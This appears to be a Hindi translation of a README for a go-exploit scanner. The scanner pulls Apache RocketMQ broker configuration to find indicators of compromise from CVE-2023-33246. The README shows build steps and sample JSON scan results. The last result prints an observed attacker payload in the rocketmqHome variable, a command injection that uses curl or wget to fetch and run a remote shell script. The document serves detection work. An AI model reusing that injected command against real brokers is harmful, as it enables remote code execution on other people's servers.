
CVE-2023-33246 के लिए समझौता संकेतकों की खोज हेतु RocketMQ ब्रोकर कॉन्फ़िगरेशन प्राप्त करने वाला एक go-exploit
फ़ेच ब्रोकर कॉन्फ़िगरेशन RocketMQ ब्रोकर कॉन्फ़िगरेशन को डाउनलोड करने का प्रयास करेगा ताकि rocketmqHome वेरिएबल में समझौता संकेतकों की खोज की जा सके। यह वेरिएबल विभिन्न हमलावरों द्वारा CVE-2023-33246 के माध्यम से कोड निष्पादित करने के लिए उपयोग किया जाता है। अतिरिक्त विवरण के लिए, VulnCheck ब्लॉग देखें।
आप डॉकर कंटेनर बनाने के लिए makefile का उपयोग कर सकते हैं:
make docker
या, यदि आपके पास Go बिल्ड वातावरण तैयार है, तो बस make का उपयोग करें:
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go
यह उपकरण go-exploit के ऊपर बनाया गया है, इसलिए स्कैन करने के लिए लक्ष्य प्रदान करने के कई तरीके हैं। पूर्ण विवरण परियोजना के स्कैनिंग दस्तावेज़ीकरण में पाया जा सकता है। हालांकि, निम्नलिखित कुछ उदाहरण दिखाता है:
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:27:48.567836165-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:34:27.505747211-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
{
"time": "2023-09-05T05:34:27.802345043-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.150",
"port": 10911
}
go-exploit प्रदान की गई लक्ष्य csv के माध्यम से स्कैन करने की क्षमता प्रदान करता है, जहाँ csv है: host, port, anything if ssl is enabled (हालांकि यदि -a का उपयोग किया जाता है तो SSL फ़ील्ड को अनदेखा किया जाता है)। यह प्रॉक्सी के माध्यम से स्कैन करने की क्षमता भी प्रदान करता है। कमांड इस प्रकार काम करता है (ध्यान दें कि -a SSL ऑटोडिटेक्शन है):
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-08-31T13:45:35.781849255-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}